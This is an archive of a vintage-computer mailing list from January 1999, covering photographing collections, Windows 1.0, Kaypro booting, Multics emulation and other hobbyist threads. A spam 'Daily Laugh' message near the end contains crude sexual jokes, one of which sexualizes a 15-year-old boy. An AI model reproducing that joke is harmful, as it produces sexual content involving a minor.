Thu Jan 28 23:27:52 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:38 2005 Subject: photographing old computers/parts In-Reply-To: <3.0.3.32.19990128212727.00948600@agora.rdrop.com> from "James Willing" at Jan 28, 99 09:27:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1020 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/67267320/attachment.ksh From todd.osborne at barnstormer-software.com Thu Jan 28 23:54:27 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:38 2005 Subject: Windows 1.0? Message-ID: <001301be4b4b$d46df940$01646464@codewarrior.fmstrategies.com> I have a copy of Windows 1.01 that I installed on an XT. What I am wondering, was there ever a publicly available 1.0? I cannot recall ever having seen it. Just curious... Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: "The timid die just like the daring, and if you don't take the plunge then you'll just take the fall" - Michael Longcor From jim at calico.litterbox.com Thu Jan 28 23:57:21 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:38 2005 Subject: new toy! Message-ID: <199901290557.WAA00887@calico.litterbox.com> I just got my hands on my first Kaypro - a Kaypro 4. Everything seems to work, but it never boots from the only boot floppy I have. I tried reversing the two drives and booting from the other drive and got the same results, so I'm convinced it's the floppy itself. Can anyone point me to a site where I can get the software to create a new one from my win95 machine (if possible). I have some questions. First, I tried connecting a 360k 5.25 inch floppy from a PC to the kaypro. At first nothing happened, then when I changed the device select to 0, it hung the machine every time it tried to boot. Should I interpret this to mean you can't connect PC drives to Kaypros? If you CAN, can you connect 3.5 inch drives to it? It would be far more convenient... Also, on www.psyber.com/~tjc/ it says there's a western digital hard disk controller. WD-1002-05 HDO. Is it possible to connect this to a K4? If so, how? I don't see any open connectors on the motherboard offhand. Anyway, the guy I got my K4 from has a K2 and a K2x - the latter of which appears to be unable to boot, although I suspect reseating the chips would solve it, and the former of which has a soda-contaminated keyboard with some missing keys. If anyone's interested in these machines, let me know and I'll forward your e-mail to him. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jimw at agora.rdrop.com Fri Jan 29 00:22:43 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:38 2005 Subject: photographing old computers/parts In-Reply-To: References: <3.0.3.32.19990128212727.00948600@agora.rdrop.com> Message-ID: <3.0.3.32.19990128222243.00b9a680@agora.rdrop.com> At 05:27 AM 1/29/99 +0000, Tony Duell wrote: >> Well... from my perspective: > >(Pun intended? Perspective is one of the most difficult things to get >right when photographing 'box-like' objects in close-up) Okay... you got me on that one! B^} >> Medium speed film if you have the light, altho I'll admit that I use ASA400 >> a lot when I'm shooting equipment so I have more latitude on depth of field. > >There is nothing wrong with a 30 second exposure - well, other than the >fact that most point-n-shoot cameras can't do them, and the 'Bulb' >setting seems to have vanished recently. Fix the camera, fix the >computer, and use the slowest film you can find. A large, heavy, wide base Bogen tripod is your friend! (or at least mine!) And my (many year) old Minolta 35mm remembers quite well the 'B'ulb setting. B^} >> A couple of halogen work lights are adaquate for lighting most sessions, >> unless you have something like a NeXT cube. (all black!) > >If you are taking slides, you probably need to correct the colour >temperature. Tungsten-halogen bulbs are closer to daylight than most >electric lamps, but they're still a bit cooler (redder). If you are >taking prints you can correct the colour to some extent when you print >the negatives. True enough... On prints I'm usually lucky enough to get the lab to balance it fairly well, (if I don't want to go digging thru the filter drawer) and on slides I usually correct it in the scanner... -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From healyzh at aracnet.com Fri Jan 29 00:30:53 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:38 2005 Subject: MULTICS survivability In-Reply-To: <4.1.19990129154954.00a3f9e0@lucifer.its.latrobe.edu.au> References: <027601be4b3a$c1df5d20$11d53d9d@JOEBAR> Message-ID: Huw Davies wrote: >At 07:52 PM 28-01-99 -0800, Joseph S. Barrera III wrote: >>Are there going to be any systems still running MULTICS in ten years? >> >>The list at http://www.multicians.org/sites.html sure looks dire. >> >>I don't have to tell anyone on this list how incredibly historically >>important MULTICS is. > >I guess the only way we are going to see "working" MULTICS systems in the >future is if someone writes a suitable emulator for the GE635 hardware. >It's been a while since I read >Organick's book on MULTICS and my copy seems to have been lost somewhere >along the >line, but I don't think that an emulator should be too hard (of course, >someone will >immediately come up with a good reason why it won't work!). How close is a GE635 to a Honeywell DPS-6? I know the picture on the main page of the multicians web site looks like a DPS-8 to me. Anyway, it was found to be easier to run a some of the DPS-6 software under emulation on HP9000 workstations than to rewrite it (I helped decommision the DPS-6's at the last site I worked at, and install the HP9000's). I believe they were running GCOS-6 as well as the application under the emulator, but do not remember for sure. Yes, I know GECOS != MULTICS Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From healyzh at aracnet.com Fri Jan 29 00:37:07 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:38 2005 Subject: Windows 1.0? In-Reply-To: <001301be4b4b$d46df940$01646464@codewarrior.fmstrategies.com> Message-ID: >I have a copy of Windows 1.01 that I installed on an XT. What I am >wondering, was there ever a publicly available 1.0? I cannot recall ever >having seen it. Just curious... Yes, I've used it briefly on a Zenith 248. We didn't have anything but DOS apps, and no mouse. Needless to say it was deleted in favor of more HD space. The PC version of "Balance of Power" used a crippled version of Win 1.0 that can only run "Balance of Power". Although if your question is about 1.0 and not 1.01, I can't really answer. Both I just mentioned might have been 1.01 Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From jpl15 at netcom.com Fri Jan 29 00:41:29 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: <199901290407.WAA10096@thufir.cs.umn.edu> Message-ID: I have variable (mostly good) luck with ASA 400 Kodak (Fuji too green) in a Minolta X700 in manual mode, with a 28 - 210 variable lens. I find, unless the subject is brightly sun-lit, that a tripod is indeed one's friend. The 'timer' feature is good in low light situations with the tripod... you can compose and trip the shutter with no vibration whatsoever. I sometimes shoot down an f-stop or two to get good depth-of-field in low light. I use several (4-8) 100W spots and floods made for track lighting, in cheap scissors-clamp-type reflector fixtures. If possible, I use the docs and maybe a large printset for the backround... or as Sam suggested... a colored towell or sheet, contrasting the device, does fine. Towels are nice because of the texture. I have them developed commercially and scan the prints, then I can massage them as necessary. Undistorted close-ups of boxy, angular subjects is problematic without having a camera with an adjustable back, swings, and tilts. (A large portrait camera). I have used the macro settings of my lens at times to get a real close-up. I am circling around buying a digital still camera... but none of them under USD$3000 really crank my tractor yet. If I had to buy tomorrow, for me it would be the Kodak DC260. YMMV. This is, to me, a very on-topic topic. There are many systems now, I am sure, whose legacy is reduced to photos and descriptions. I take pix of *everything*, even the 'common' or 'less-desirable' stuff. I have a roll due back tomorrow with the new shots of the Prime 2550 and the resulting re-laying out of my own little pile of stuff... as it slowly conquers the rest of the livingroom and heads for what used to be the garage. Cheerz John PS: SoCal TRW Swapmeet vintage collectors meeting: Sat the 30th! From H.Davies at latrobe.edu.au Fri Jan 29 00:46:03 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:40:38 2005 Subject: MULTICS survivability In-Reply-To: References: <4.1.19990129154954.00a3f9e0@lucifer.its.latrobe.edu.au> <027601be4b3a$c1df5d20$11d53d9d@JOEBAR> Message-ID: <4.1.19990129174402.0090d890@lucifer.its.latrobe.edu.au> At 10:30 PM 28-01-99 -0800, Zane H. Healy wrote: >How close is a GE635 to a Honeywell DPS-6? I know the picture on the main >page of the multicians web site looks like a DPS-8 to me. I believe that a DPS-6 is a GE635 less a bit - in particular the hardware protection mechanism (it's been a long day and I can't remember the Multics word for this). My guess is that if you had a DPS-6 emulator adding the GE635 stuff mightn't be too hard but again this is based on reading Organick's book about 10 years ago... Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From donm at cts.com Fri Jan 29 00:51:02 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:38 2005 Subject: new toy! In-Reply-To: <199901290557.WAA00887@calico.litterbox.com> Message-ID: On Thu, 28 Jan 1999, Jim Strickland wrote: > I just got my hands on my first Kaypro - a Kaypro 4. Everything seems to work, > but it never boots from the only boot floppy I have. I tried reversing the > two drives and booting from the other drive and got the same results, so I'm > convinced it's the floppy itself. > > Can anyone point me to a site where I can get the software to create a new > one from my win95 machine (if possible). A copy of TeleDisk and a TeleDisk disk image and a PC with a 5.25" drive - preferably a 360k - is pretty much what you need. Because the o/s is contained in the boot track, the usual copy commands don't quite fo it. > I have some questions. First, I tried connecting a 360k 5.25 inch floppy from > a PC to the kaypro. At first nothing happened, then when I changed the device > select to 0, it hung the machine every time it tried to boot. Should I > interpret this to mean you can't connect PC drives to Kaypros? If you CAN, > can you connect 3.5 inch drives to it? It would be far more convenient... No, more likely there are some of the other jumpers set such that the Kaypro doesn't like it. And yes, you can hang 3.5" drives on instead. It means patching the BIOS to reflect the format differences, and of course you cannot format to 1440k (HD). Allison has done the 3.5" thing, I believe. > Also, on www.psyber.com/~tjc/ it says there's a western digital hard disk > controller. WD-1002-05 HDO. Is it possible to connect this to a K4? If so, > how? I don't see any open connectors on the motherboard offhand. Apparently, you have the so called 4/83 that uses full height drives. The 4/84s and 2Xs and 10s all had a 50 pin header that lead to an adapter board, which in turn led - by way of a 40 conductor ribbon - to the WD HD controller. > Anyway, the guy I got my K4 from has a K2 and a K2x - the latter of which > appears to be unable to boot, although I suspect reseating the chips would > solve it, and the former of which has a soda-contaminated keyboard with > some missing keys. If anyone's interested in these machines, let me know and > I'll forward your e-mail to him. If in fact that is a K2 rather than a KII, it might have the 50 pin header also. Kaypro played some games with model numbers, so it is a bit difficult to be absolutely certain sometimes. - don > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > ----------------------------------------------------------------------- > From jpl15 at netcom.com Fri Jan 29 01:01:18 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:38 2005 Subject: GE Mainframes (235) Message-ID: The Very First Computer I ever saw, in 1965, was the brand-new GE 235 that my father's company had installed. Because he was a VP, I got to actually *go in the room* with all that machinery, though I was but 12. Of course I died right then and went straight to Heaven. My question to the List is: are there any of these GE machines from that era still extant? (let alone still working...) My absolute/ultimate Vintage Computer fantasy would be to have that old 235 up and running... just so I could *smell* it once more. I have never forgotten the warm smell of all that electronics, and the Ampex tape machines, and the printer clattering away.... Sigh. I have pictures of the 235 and 635.... but it's not the same... Cheerz John From jim at calico.litterbox.com Fri Jan 29 01:38:44 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:38 2005 Subject: new toy! In-Reply-To: from "Don Maslin" at Jan 28, 1999 10:51:02 PM Message-ID: <199901290738.AAA01292@calico.litterbox.com> > A copy of TeleDisk and a TeleDisk disk image and a PC with a 5.25" drive > - preferably a 360k - is pretty much what you need. Because the o/s is > contained in the boot track, the usual copy commands don't quite fo it. > > No, more likely there are some of the other jumpers set such that the > Kaypro doesn't like it. And yes, you can hang 3.5" drives on instead. > It means patching the BIOS to reflect the format differences, and of > course you cannot format to 1440k (HD). Allison has done the 3.5" thing, > I believe. I'd love to know how this is done. :) > > > Also, on www.psyber.com/~tjc/ it says there's a western digital hard disk > > controller. WD-1002-05 HDO. Is it possible to connect this to a K4? If so, > > how? I don't see any open connectors on the motherboard offhand. > > Apparently, you have the so called 4/83 that uses full height drives. > The 4/84s and 2Xs and 10s all had a 50 pin header that lead to an adapter > board, which in turn led - by way of a 40 conductor ribbon - to the WD HD > controller. Actually the stickers on the back read "Kaypro 4 '84" and it has half height drives. The drive connector feeds directly to the main board. to the rear of that is what appears to be a connector that wasn't ever attached - there are holes but no connector. > > Anyway, the guy I got my K4 from has a K2 and a K2x - the latter of which > > appears to be unable to boot, although I suspect reseating the chips would > > solve it, and the former of which has a soda-contaminated keyboard with > > some missing keys. If anyone's interested in these machines, let me know and > > I'll forward your e-mail to him. > > If in fact that is a K2 rather than a KII, it might have the 50 pin header > also. Kaypro played some games with model numbers, so it is a bit > difficult to be absolutely certain sometimes. > > - don -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From amirault at epix.net Fri Jan 29 01:57:11 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:38 2005 Subject: photographing old computers/parts References: Message-ID: <36B169D7.1F2A2149@epix.net> Hi, Please make sure that you use a tripod to mount your camera on or your pictures will be blurry. Hope that this helps. John Amirault Tony Duell wrote: > > Well... from my perspective: > > (Pun intended? Perspective is one of the most difficult things to get > right when photographing 'box-like' objects in close-up) > > > > > Medium speed film if you have the light, altho I'll admit that I use ASA400 > > a lot when I'm shooting equipment so I have more latitude on depth of field. > > There is nothing wrong with a 30 second exposure - well, other than the > fact that most point-n-shoot cameras can't do them, and the 'Bulb' > setting seems to have vanished recently. Fix the camera, fix the > computer, and use the slowest film you can find. > > > > > A couple of halogen work lights are adaquate for lighting most sessions, > > unless you have something like a NeXT cube. (all black!) > > If you are taking slides, you probably need to correct the colour > temperature. Tungsten-halogen bulbs are closer to daylight than most > electric lamps, but they're still a bit cooler (redder). If you are > taking prints you can correct the colour to some extent when you print > the negatives. > > -tony From Philip.Belben at pgen.com Fri Jan 29 02:58:11 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts Message-ID: <80256708.003553FB.00@WESTD90.pgen.co.uk> > Does anyone have any suggestions for ways to photograph parts of my > collection? All i have is a basic 35mm camera and a polaroid... > > Should i use high speed 35mm film becasue of low light conditions indoors, > or is a slower speed more important? Or is it important to have a white > background for contrast.. Or should i try placing things on a flat bed > scanner, etc.. > > Any suggestions are appreciated. I want to photograph some of my rarer > items (Teraks, Sun 1, if you saw that Burroughs core memory that just > sold on ebay I have one of those too plus a foot long chunk of wire-wrapped > boards from that computer, etc). I think Tony and Jim have said most of what I would say, but: Use the longest focal length you can while still getting the required magnification and fitting within the room. A macro lens is very useful here, or, failing that, extension tubes (but if you don't have through-the-lens metering, remember to correct the f-number for the increased distance between lens and film). The slower 35mm films are pretty good with a decent lens, but if you can get the required magnification with the polaroid, it may be worth considering since it is likely to be a less grainy process, and a larger film area (i.e. lower resolution per inch <= same resolution across whole picture) I have little experience with lighting computer stuff, but I imagine (say) a board full of chips might require several light sources to avoid the chips casting strange shadows. Philip. From adavie at mad.scientist.com Fri Jan 29 05:24:22 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: <80256708.003553FB.00@WESTD90.pgen.co.uk> Message-ID: <000f01be4b79$eb31fb80$36f438cb@a.davie> You guys have access to some neat equipment, including brains. I would just suggest, however, that ANY image is better than no image. In the early days of my slide rule site, I actually photocopied slide rules, then faxed the photocopy to myself (a computer-fax receiving), converted the fax file to a GIF, and posted onsite. Needless to say, the quality was terrible... but where there's a will, there's a way. It was a neat solution to having absolutely NO hardware which "should" enable me to get an image on the web. A converted, faxed, photocopy isn't much, but it's still a picture, and a picture tells 1000 words :) Scanned polaroids would be just fine by me! A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? > > Does anyone have any suggestions for ways to photograph parts of my > > collection? All i have is a basic 35mm camera and a polaroid... From kevan at heydon.org Fri Jan 29 05:32:31 1999 From: kevan at heydon.org (Kevan Heydon) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: <80256708.003553FB.00@WESTD90.pgen.co.uk> Message-ID: I have also heard, from pocket calculator collectors, that you get real good pictures if you photograph them outside on a bright but overcast day. I haven't tried this myself yet, but I suspect that because all non specialist films are designed for outside use and that you don't get shadowing or light source reflections you end up with good clear pictures. Obviously taking a box of calculators outside is a lot easier than some of the larger computers, but I am going to try it in the near future as we now have a larger garden with areas that are not in shadow from overhanging trees. One person said that his preferred background was the concrete floor of the top layer of a multi-storey car park! -- Kevan Collector of old computers: http://www.heydon.org/kevan/collection/ From Hans.Franke at mch20.sbs.de Fri Jan 29 07:25:57 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:38 2005 Subject: KIM-1 Case In-Reply-To: References: Message-ID: <199901291226.NAA20138@horus.mch.sni.de> > A while back, Marvin showed a pic of a nice KIM-1 case that looked like it > might have been a factory option. I just found an old ad from "the > enclosure group" for a case that looked just like it for $23.50 in 1979. They also had a case for the AIM and SYM > Somebody in the San Francisco area should poke their head around 55 > Stevenson, and see if they can find a bunch of old KIM-1 cases in a dusty > warehouse.... Let's go :) Gruss H. -- Ich denke, also bin ich, also gut HRK From museum at techniche.com Fri Jan 29 06:47:55 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:38 2005 Subject: GE Mainframes (235) Message-ID: <199901291247.HAA16571@chmls06.mediaone.net> Hi John, You know the mind works in weird ways. Your message just made some of my synapes fire. I believe you work for MGM right? I don't know if you caught my message from a few weeks ago, but I have a Qantel that my wife occasionally uses in our business. I remember hearing about 10 years ago that one of the markets that Qantel captured early on (late 70's?) was the intertainment industry. They used to have applications for off the wall vertical markets (e.g. film studios, football teams, etc). Have you ever seen one of these in use in your travels? I'm always surprized by what's still out there chugging away after all of these years. Jon ----------------------------------------------------- > > > > The Very First Computer I ever saw, in 1965, was the brand-new GE >235 that my father's company had installed. Because he was a VP, I >got to actually *go in the room* with all that machinery, though I >was but 12. Of course I died right then and went straight to Heaven. > > My question to the List is: are there any of these GE machines >from that era still extant? (let alone still working...) > > My absolute/ultimate Vintage Computer fantasy would be to have >that old 235 up and running... just so I could *smell* it once >more. I have never forgotten the warm smell of all that >electronics, and the Ampex tape machines, and the printer clattering >away.... > > > Sigh. > > > I have pictures of the 235 and 635.... but it's not the same... > > > Cheerz > >John > > > > From rigdonj at intellistar.net Fri Jan 29 09:34:27 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:38 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: <021501be4b33$77689330$11d53d9d@JOEBAR> Message-ID: <3.0.1.16.19990129093427.43375ece@intellistar.net> At 07:00 PM 1/28/99 -0800, you wrote: >> Interesting. I know the guy that owns Hand Held Products. He started >> out making EPROM boxs for the HP 41 calculators. Now he's made it big time > >You realize, of course, that the HP-41C is an "Antique Computer Rare Vintage >Classic", right? > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=61225809 Ummm. yeah I own at least 30 of them :-) FWIW even the HP-71 is an "early" HP calculator according to E-OverPay. Joe From doug at blinkenlights.com Fri Jan 29 07:45:23 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:38 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: <3.0.1.16.19990129093427.43375ece@intellistar.net> Message-ID: On Fri, 29 Jan 1999, Joe wrote: > >You realize, of course, that the HP-41C is an "Antique Computer Rare Vintage > >Classic", right? > > Ummm. yeah I own at least 30 of them :-) FWIW even the HP-71 is an > "early" HP calculator according to E-OverPay. Everything is relative. The 41C can be considered a computer. It's certainly classic. Pretty vintage, too. Rare antique? Well, 3 out of 5 ain't bad. At least he didn't call it an S-100 Altair IMSAI HP 41C. -- Doug From Hans.Franke at mch20.sbs.de Fri Jan 29 08:58:30 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:38 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: References: <3.0.1.16.19990129093427.43375ece@intellistar.net> Message-ID: <199901291359.OAA14555@horus.mch.sni.de> > > Ummm. yeah I own at least 30 of them :-) FWIW even the HP-71 is an > > "early" HP calculator according to E-OverPay. > Everything is relative. The 41C can be considered a computer. It's > certainly classic. Pretty vintage, too. Rare antique? Well, 3 out of 5 > ain't bad. At least he didn't call it an S-100 Altair IMSAI HP 41C. Shure ? maybe he stored the HP in the same room, or even had them once at the same time on the same table !!! :))) P.S.: I had no trafic on the EPay ... aeh auction list until now. -- Ich denke, also bin ich, also gut HRK From jlwest at tseinc.com Fri Jan 29 08:16:53 1999 From: jlwest at tseinc.com (Jay West) Date: Sun Feb 27 18:40:38 2005 Subject: Hello all! Message-ID: <005101be4b92$06538d80$0101a8c0@jay> I just found out about this list so I thought I'd post this here in case someone can help... I appologize if this is a repeat post! Looking for anything HP21MX or HP2000 related - cpu's, peripherals, etc. Many of the HP1000 system peripherals are of interest too. My particular interest is TSB (Time Share BASIC), not RTE, so I'm also interested in IOP Roms, etc. Especially interested in the following: 21mx series cpus and controllers 2748A or 2748B high speed paper tape reader 790x type disk drives (7900, 7905, or 7906) 7970 tape drive TSB 1541 rev c or later paper tape (binary, loader1, and loader2) This is for a private collection, hobbyist use (not business or resale) - does anyone have any of this stuff around in storage they'd be willing to part with? Please reply directly to jay@tseinc.com. Thanks! Jay West From adavie at mad.scientist.com Fri Jan 29 08:23:57 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:38 2005 Subject: Soviet BK-0010 In-Reply-To: <005101be4b92$06538d80$0101a8c0@jay> Message-ID: <001d01be4b93$01aad080$36f438cb@a.davie> I recently posted about the Soviet BK-0010 computer. I've since found out a bit more information about it. I'm reliably told that it has an actual PDP-11 processor inside it - and I naturally assumed it was a PDP-11 clone. Its not. In fact, it is a computer-in-a-keyboard, somewhat akin to the Commodore 64. The whole thing weighs 2kg or thereabouts. It's a simple home computer. There are two versions - a membrane keyboard (with brightly coloured keys!) and a "normal" keyboard one. More information as it becomes available. And here I was, expecting to have to arrange shipping for something the size of a fridge! I'm trying to arrange pictures - I may extend my site to include Soviet Microcomputers, too :) But that would be "MOSMOW" and it doesn't have the same catchy ring to it. I need a new acronym! A -- adavie@mad.scientist.com visit MOSCOW - the Museum of Soviet Calculators (on the Web) at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? From foxvideo at wincom.net Fri Jan 29 08:34:34 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: <80256708.003553FB.00@WESTD90.pgen.co.uk> Message-ID: <3.0.5.32.19990129093434.007a6e10@mail.wincom.net> At 09:58 AM 1/29/1999 +0100, you wrote: > > > >> Does anyone have any suggestions for ways to photograph parts of my >> collection? All i have is a basic 35mm camera and a polaroid... >> >> Should i use high speed 35mm film becasue of low light conditions >indoors, >> or is a slower speed more important? Or is it important to have a white >> background for contrast.. Or should i try placing things on a flat bed >> scanner, etc.. >> >> Any suggestions are appreciated. I want to photograph some of my rarer >> items (Teraks, Sun 1, if you saw that Burroughs core memory that just >> sold on ebay I have one of those too plus a foot long chunk of >wire-wrapped >> boards from that computer, etc). When I was shooting my computer video last year I found that using some old "eye strain" filters on the monitor screens helped to cut down on light reflections. Regards Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From jhfine at idirect.com Fri Jan 29 08:34:58 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:38 2005 Subject: Soviet BK-0010 References: <001d01be4b93$01aad080$36f438cb@a.davie> Message-ID: <36B1C712.1D93901@idirect.com> >Andrew Davie wrote: > I recently posted about the Soviet BK-0010 computer. > I've since found out a bit more information about it. I'm reliably told > that it has an actual PDP-11 processor inside it - and I naturally assumed > it was a PDP-11 clone. Its not. In fact, it is a computer-in-a-keyboard, > somewhat akin to the Commodore 64. The whole thing weighs 2kg or > thereabouts. It's a simple home computer. There are two versions - a > membrane keyboard (with brightly coloured keys!) and a "normal" keyboard > one. More information as it becomes available. > And here I was, expecting to have to arrange shipping for something the size > of a fridge! > I'm trying to arrange pictures - I may extend my site to include Soviet > Microcomputers, too :) But that would be "MOSMOW" and it doesn't have the > same catchy ring to it. I need a new acronym! Jerome Fine replies: Is this computer able to run any of the PDP-11 OSs? Which ones? Does it also have an OS which uses a Russian alphabet? Were any of there OSs pirated from the original OSs when the CCCP did not pay any license fees for western software? I realize that these are probably the questions that you are looking into and don't have answers to as yet, but I thought I would ask just in case. Sincerely yours, Jerome Fine From Daily.Laugh at Virgin.Net Sat Jan 30 03:34:23 1999 From: Daily.Laugh at Virgin.Net (Daily.Laugh@Virgin.Net) Date: Sun Feb 27 18:40:38 2005 Subject: Daily Laugh! Message-ID: <199901291610.IAA29461@mxu1.u.washington.edu> Good Morning! Your daily laugh as requested sent to you with the intention of brightening up your day! Why not give someone else a laugh. Forward this e.mail to everyone you know. IMPORTANT NOTE It is possible that you will have received your daily laugh from another source or will have been added to our mailing list at the request of a friend or colleague. We realise that some may not appreciate being added to our mailing list without prior consent. With this in mind we are now asking anybody that wishes to be added to the mailing list to subscribe direct. If you wish to subscribe (including those that have already subscribed) then please send a blank e.mail to one of the below addresses that best describes where you are from. DailyLaughUK-Subscribe@OneList.Com DailyLaughUS-Subscribe@OneList.Com DailyLaughElsewhere-Subscribe@OneList.Com Those that do nothing will automatically be removed from the list after today. I thank you all for your anticipated co-operation. Now for today's jokes!!!!!!!! ______________________________________ A man was to be married and his friends threw him a stag party. As usual there was much drinking and merriment. As the evening wore on, the man was dancing nude and and hit his erect penis on the fireplace, knocking himself out. Concerned, his friends took him to the hospital. Following an examination, the emergency room physician told them that their friend's condition was stable, that he was bruised and sore, that the medical term for his injury was complicated but in layman terms, "He had broken his prick". They shouldn't worry though, because he had supported the injured part with 4 tongue depressors neatly bound with tape. The next day, the wedding was flawless and the bride was unaware of any problems. In their honeymoon suite, the bride was spread-eagled on the bed when her husband emerged from the bathroom and she said, "Come and get it , Honey, it's all yours. I'm untouched by any other, this is pure virgin wool". The groom smiled as he dropped his pajamas as he said to her, "Check this out, Babe, still in the crate". ______________________________________ A guy was at the supermarket and after buying a few things he began to queue up in this really long line for the checkout. After about 15 minutes in the line he reached the checkout girl and just at that moment he remembered that he needed some condoms. Not wanting to line up again he said to the girl "Oh I meant to buy some condoms but forgot" "Do you know what size you are ?" she asked. "No". "OK drop your pants and I'll tell you what size you are". The guy then, not being the shy type, drops his trousers and the girl has a feel with her hand and then says in the microphone "1 packet of large condoms to aisle 3 please", he pulls up his trousers, the condoms are brought to him and he pays his bill and goes on his way. Another male customer sees this and thinks he'd like to have this nice girl fondling his prick and so says the same thing to the girl. A similar course of events takes place, only this time after having a feel she says "One packet of medium sized condoms to aisle 3 please", the condoms are then brought to him and he pays the bill and goes on his way. Also watching this course of events was a rather excitable 15 year old boy who then decides to queue up and try the same routine. "I'd like to buy some condoms please, but I forgot" he says. "Do you know what size you are?" "No." "OK, I'll check. Whoops, mop and bucket to aisle 3 please!" _______________________________________ A man was sitting at a bar enjoying an after-work drink when an exceptionally gorgeous and sexy young woman entered. She was so striking that the man could not take his eyes off her. The young woman noticed his overly-attentive stare and walked directly toward him. Before he could offer his apologies for being so rude, the young woman said to him, "I'll do anything, absolutely anything, that you want me to do, no matter how kinky, for £100 on one condition." Flabbergasted, the man asked what the condition was. The young woman replied, "You have to tell me what you want me to do in just three words." He quickly pulled his wallet from his pocket and slowly counted out five £20 notes, which he pressed into the young woman's hand. He looked into her eyes and slowly, meaningfully said... "Paint my house." ______________________________________ A man went into a chemists looking for condoms. Unfortunately he didn't know what size to get. The pharmacist asks him, 'Would you like to find what size you are, Sir?' The guy agrees and the pharmacist leads him into a room with a board. The board has many differently-sized holes in it. The pharmacist leaves, allowing the guy some privacy to match up his dick with the right hole. Three hours have gone by and the pharmacist wonders what is taking so long. So, he knocks on the door and sees if the guy is alright. The guy says, "Forget the condoms, I think I'll take the board." __________________________________________ Have a nice day!!!!! From joe at barrera.org Fri Jan 29 10:21:25 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:38 2005 Subject: No Thank You [Re: Daily Laugh!] Message-ID: <000e01be4ba3$6b9a9d80$11d53d9d@JOEBAR> I already subscribe to other (better) joke lists. From 